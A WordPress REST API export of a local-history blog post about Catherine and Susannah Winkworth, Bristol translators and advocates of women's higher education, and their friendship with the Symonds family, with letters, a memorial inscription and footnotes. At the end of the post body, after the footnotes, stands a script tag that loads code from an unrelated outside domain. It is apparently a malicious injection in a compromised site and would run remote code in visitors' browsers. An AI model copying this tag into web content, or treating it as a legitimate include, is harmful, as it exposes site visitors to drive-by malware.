{"id":770,"date":"2014-09-01T20:29:18","date_gmt":"2014-09-01T20:29:18","guid":{"rendered":"http:\/\/watsonian.co.uk\/symonds\/?p=770"},"modified":"2015-10-04T12:40:35","modified_gmt":"2015-10-04T12:40:35","slug":"home-of-catherine-and-susannah-winkworth","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=770","title":{"rendered":"Home of Catherine and Susannah Winkworth"},"content":{"rendered":"<p><strong>31 Cornwallis Crescent.<\/strong><\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-770 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=941'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/102_0685-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-941\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-941'>\n\t\t\t\t31 Cornwallis Crescent\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1026'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/catherinewinkworth-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1026\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1026'>\n\t\t\t\tCatherine Winkworth\n(1827 &#8211; 1878)\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1217'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/memorialsoftwosi00shaerich_0219-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1217\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1217'>\n\t\t\t\tSusannah Winkworth  \n(1820 &#8211; 1844)\n\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t<\/div>\n\n<p>Catherine and Susannah Winkworth were translators of German religious works, remembered\u00a0in Bristol for their philanthropy and advocacy\u00a0of education of women and girls. Catherine came to know the Symonds family well, via\u00a0her involvement in the Clifton Association for the Higher Education of Women<\/p>\n<p>The Winkworth family came to Bristol in\u00a0October 1862, following their father&#8217;s illness and retirement from the silk trade.<sup><a href=\"#footnote_0_770\" id=\"identifier_0_770\" class=\"footnote-link footnote-identifier-link\" title=\" Sidney Lee, Dictionary of National Biography( Williamson-Worden, 1900. Reprint. London: Forgotten Books, 2013. p. 197-8.\">1<\/a><\/sup> Catherine already shared a mutual friend with the Symonds: the singer Jenny Lind, who had been a guest of the Symonds family on a number of occasions.<sup><a href=\"#footnote_1_770\" id=\"identifier_1_770\" class=\"footnote-link footnote-identifier-link\" title=\"Both Symonds and Catherine Winkworth had visited Lind at her Wimbledon home, and Symonds mentioned in a letter that Catherine had suggested the chosen name of Oaklea.\">2<\/a><\/sup><\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-2 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-2 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-2 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-2 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-2' class='gallery galleryid-770 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1224'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2015\/10\/110361-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" \/><\/a>\n\t\t\t<\/dt><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n<p>In 1868, a committee was founded\u00a0to promote the higher education of women. While\u00a0her initial feelings seem to have been\u00a0lukewarm,<sup><a href=\"#footnote_2_770\" id=\"identifier_2_770\" class=\"footnote-link footnote-identifier-link\" title=\"In 1868, &ldquo;Miss Emily Davies has been here too, about a College for Ladies, and I was asked to one or two meetings, &amp;c., about that, but got convinced I didn&rsquo;t approve of it, except for teachers and very exceptionally clever and studious girls; nor can I get converted to women&rsquo;s franchise, so some of my friends here look on me as a very half-hearted sort of person, Florence Hill especially.&rdquo;&nbsp;\">3<\/a><\/sup>\u00a0Catherine nevertheless became\u00a0actively\u00a0involved in the Association, and by 1870 had taken\u00a0over from Mrs Louisa Percival\u00a0in organising and administering the programme of lectures,\u00a0and the lessons intended to prepare women for the Higher Cambridge Examination.<sup><a href=\"#footnote_3_770\" id=\"identifier_3_770\" class=\"footnote-link footnote-identifier-link\" title=\"William Temple, Life Of Bishop Percival (London: Macmillan and Co., Limited, 1921)&nbsp;p. 258 \">4<\/a><\/sup> One of the Association&#8217;s lecturers\u00a0was\u00a0Symonds, returned from London in 1868 after a crisis in health, and the close of his abortive law career. In 1869, he began lectures at <a class=\"place\" href=\"#gm-map-1\" onclick=\"window.frames[&#39;gm-map-1&#39;].GeoMashup.clickMarker(&#39;565&#39;);\">St Paul&#8217;s Lecture Hall<\/a>.<\/p>\n<p>In 1871, Catherine wrote of the continued success of the classes:<\/p>\n<blockquote><p>We see a great deal of the Symonds family, and the\u00a0son, Mr. John Symonds, is a remarkably clever young man.\u00a0He and the Percivals are my great allies in all the lectures\u00a0and classes for ladies which go on here, as they are doing\u00a0now in so many places, under the name of the &#8220;Higher\u00a0Education.&#8221; This winter I have had a great deal to do\u00a0about them, as all my ordinary helpers among the ladies\u00a0here have been disabled in one way or another, and I\u00a0have had all the work on my hands. However, I shall\u00a0have more assistance soon, and meanwhile the affair goes\u00a0on very flourishingly here. We have from one to two\u00a0hundred students, all girls (nearly) who have left school,\u00a0and they really work so well and write such clever papers\u00a0that I am quite amazed at them sometimes!<em>Catherine Winkworth to Mrs Heugh, March 5th 1871.<\/em>\u00a0((Margaret Josephine Shaen, Catherine Winkworth and Susanna Winkworth, Memorials Of Two Sisters (London: Longmans, Green, 1908), p.283))<\/p><\/blockquote>\n<p>The Winkworth sisters also took their place\u00a0among the audience of Symonds&#8217; lectures.\u00a0Though Catherine had yearned to study Greek and Latin as a young woman,\u00a0((Margaret Josephine Shaen, Catherine Winkworth and Susanna Winkworth, Memorials Of Two Sisters (London: Longmans, Green, 1908), p.60-61 Catherine Winkworth to Susannah Winkworth, &#8220;There is so much I want to know, that I should like to have two or three years study time, and I never look forward beyond that. First of all, I must read Mill&#8217;s &#8221; Political Economy &#8221; some day ; and then I want to learn Latin and\u00a0Greek and Drawing, and perhaps I shall have to translate, and then there will be occupation enough&#8221;. )) the sisters&#8217; education was\u00a0curtailed in several respects\u00a0because of their sex: Catherine received only limited\u00a0tuition in Greek from William\u00a0Gaskell, husband of Elizabeth Cleghorn Gaskell, and twenty years later confessed to the Evelyn Abbott that\u00a0&#8220;I can&#8217;t read your\u00a0Sophocles, except the English parts.&#8221;<sup><a href=\"#footnote_4_770\" id=\"identifier_4_770\" class=\"footnote-link footnote-identifier-link\" title=\"Elizabeth Bird, &lsquo;Curricular Innovations In Women&rsquo;s Adult Education 1865-1900&prime; Reproduced from 1985 Conference Proceedings, Leeds.ac.uk, 2003 &lt;http:\/\/www.leeds.ac.uk\/educol\/documents\/00002647.htm&gt; [accessed 1 October 2014].\">5<\/a><\/sup><\/p>\n<p>In 1874, meetings took place\u00a0to lay the foundation for University College &#8211; precursor to Bristol University. \u00a0The committee of the Association for the Higher Education of Women suspended future lectures in favour of promoting the new College programme, and providing scholarships to\u00a0enable women to attend.<sup><a href=\"#footnote_5_770\" id=\"identifier_5_770\" class=\"footnote-link footnote-identifier-link\" title=\"Bird.\">6<\/a><\/sup> The result, as Symonds noted, was that the initial scholarships and lectures of the College were taken up almost entirely by women &#8211; a situation which &#8220;somewhat vexed&#8221; the University College Council, but demonstrated the success of the Association&#8217;s efforts.<sup><a href=\"#footnote_6_770\" id=\"identifier_6_770\" class=\"footnote-link footnote-identifier-link\" title=\"John Addington Symonds, Robert L. Peters (Editor), Herbert M. Schueller, The Letters of John Addington Symonds, Vol. 2&nbsp;: 1869-1884, Detroit, Wayne State University Press, 1968, p434\">7<\/a><\/sup><\/p>\n<p>In May 1875, Catherine was elected to the Council\u00a0of\u00a0Cheltenham Ladies college, and two years later she was involved in yet another project with the Percivals, to establish a High School for girls in Clifton. \u00a0In the same era,\u00a0the Symonds&#8217; time in Bristol came to an end.<\/p>\n<blockquote><p>&#8220;I have felt unhappy about various friends lately. Miss\u00a0Carpenter&#8217;s death was a great loss to us, especially to my\u00a0eldest sister, and the Symonds&#8217; departure from Clifton is a\u00a0dreadful loss to me. We may hope for them back in two\u00a0years, if all goes well, but two years is a long time, and\u00a0meanwhile we shall have no one the least like them. They\u00a0are very individual people indeed, and really and truly dear\u00a0and close friends to me.&#8221;<\/p>\n<p><em>Catherine, 1st of August 1877<sup><a href=\"#footnote_7_770\" id=\"identifier_7_770\" class=\"footnote-link footnote-identifier-link\" title=\"Shaen, p. 327\">8<\/a><\/sup><\/em><\/p><\/blockquote>\n<p>Catherine Winkworth died in 1878, leaving her sister Susannah to take over her duties as Governor of Red Maids \u00a0girls school, and her place on the\u00a0Council of Cheltenham Ladies college. \u00a0A fund was established to provide a memorial in Bristol Cathedral, and to create a scholarship in Catherine&#8217;s name.<\/p>\n<p style=\"text-align: center;\">In Memory of<br \/>\nCATHERINE WINKWORTH<br \/>\nWho, in her Lyra Germanica,<br \/>\nRendering into English verse<br \/>\nThe treasures of German sacred poetry,<br \/>\nOpened a new source of light, consolation, and strength<br \/>\nIn many thousand homes.<\/p>\n<p style=\"text-align: center;\">Her works reveal a clear and harmonious intellect<br \/>\nA gift of true poetic insight and expression,<br \/>\nAnd the firm Christian faith<br \/>\nWhich was the mainspring of a life<br \/>\nRich in tender and affectionate ministration<br \/>\nAnd fruitful in various fields of active service.<\/p>\n<p style=\"text-align: center;\">Her loss is mourned by all who shared her labour,<br \/>\nAnd by the many friends whom death has bereft<br \/>\nOf her rare sympathy, her wise counsel,<br \/>\nHer bright companionship, and her unfailing help<br \/>\nIn every time of need.<\/p>\n<p style=\"text-align: center;\">To commemorate her work, and to perpetuate<br \/>\nHer efforts for the better education of women,<br \/>\nA scholarship, bearing her name,<br \/>\nHas been founded in University College, Bristol<br \/>\nBy friends who now dedicate this table<br \/>\nTo her memory<\/p>\n<p style=\"text-align: center;\">Born in London, September 13th, 1827<br \/>\nDied in Monnetier, Savoy, July lst, 1878<\/p>\n<p style=\"text-align: center;\">&#8220;The child has now its Father seen,<br \/>\nAnd feels what kindling love may be,<br \/>\nAnd knoweth what those words may mean,<br \/>\n&#8216;Himself, the Father, loveth thee&#8217;.&#8221;<\/p>\n<hr \/>\n<p>For more information on the Winkworth sisters in Bristol, visit:<\/p>\n<p>Elizabeth Bird, <a href=\"http:\/\/www.leeds.ac.uk\/educol\/documents\/00002647.htm\">Curricular innovations in women&#8217;s higher education, 1865 &#8211; 1900<\/a><\/p>\n<p>Heloise Brown, <a href=\"http:\/\/humanities.uwe.ac.uk\/bhr\/Main\/f_women_routes.htm\">Routes into Women&#8217;s History<\/a>\u00a0(UWE)<\/p>\n<ol class=\"footnotes\"><li id=\"footnote_0_770\" class=\"footnote\"> Sidney Lee, Dictionary of National Biography( Williamson-Worden, 1900. Reprint. London: Forgotten Books, 2013. p. 197-8. [<a href=\"#identifier_0_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_1_770\" class=\"footnote\">Both Symonds and Catherine Winkworth had visited Lind at her Wimbledon home, and Symonds mentioned in a letter that Catherine had suggested the chosen name of Oaklea. [<a href=\"#identifier_1_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_2_770\" class=\"footnote\">In 1868, &#8220;Miss Emily Davies has been here too, about a College for Ladies, and I was asked to one or two meetings, &amp;c., about that, but got convinced I didn&#8217;t approve of it, except for teachers and very exceptionally clever and studious girls; nor can I get converted to women&#8217;s franchise, so some of my friends here look on me as a very half-hearted sort of person, Florence Hill especially.&#8221;\u00a0 [<a href=\"#identifier_2_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_3_770\" class=\"footnote\">William Temple, Life Of Bishop Percival (London: Macmillan and Co., Limited, 1921)\u00a0p. 258  [<a href=\"#identifier_3_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_4_770\" class=\"footnote\">Elizabeth Bird, &#8216;Curricular Innovations In Women&#8217;s Adult Education 1865-1900&#8242; Reproduced from 1985 Conference Proceedings, Leeds.ac.uk, 2003 &lt;http:\/\/www.leeds.ac.uk\/educol\/documents\/00002647.htm&gt; [accessed 1 October 2014]. [<a href=\"#identifier_4_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_5_770\" class=\"footnote\">Bird. [<a href=\"#identifier_5_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_6_770\" class=\"footnote\">John Addington Symonds, Robert L. Peters (Editor), Herbert M. Schueller, The Letters of John Addington Symonds, Vol. 2\u00a0: 1869-1884, Detroit, Wayne State University Press, 1968, p434 [<a href=\"#identifier_6_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_7_770\" class=\"footnote\">Shaen, p. 327 [<a href=\"#identifier_7_770\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>31 Cornwallis Crescent. Catherine and Susannah Winkworth were translators of German religious works, remembered\u00a0in Bristol for their philanthropy and advocacy\u00a0of education of women and girls. Catherine came to know the Symonds family well, via\u00a0her involvement in the Clifton Association for the Higher Education of Women The Winkworth family came to Bristol in\u00a0October 1862, following their [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-770","post","type-post","status-publish","format-standard","hentry","category-people"],"_links":{"self":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/770","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=770"}],"version-history":[{"count":14,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/770\/revisions"}],"predecessor-version":[{"id":1296,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/770\/revisions\/1296"}],"wp:attachment":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=770"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=770"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=770"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}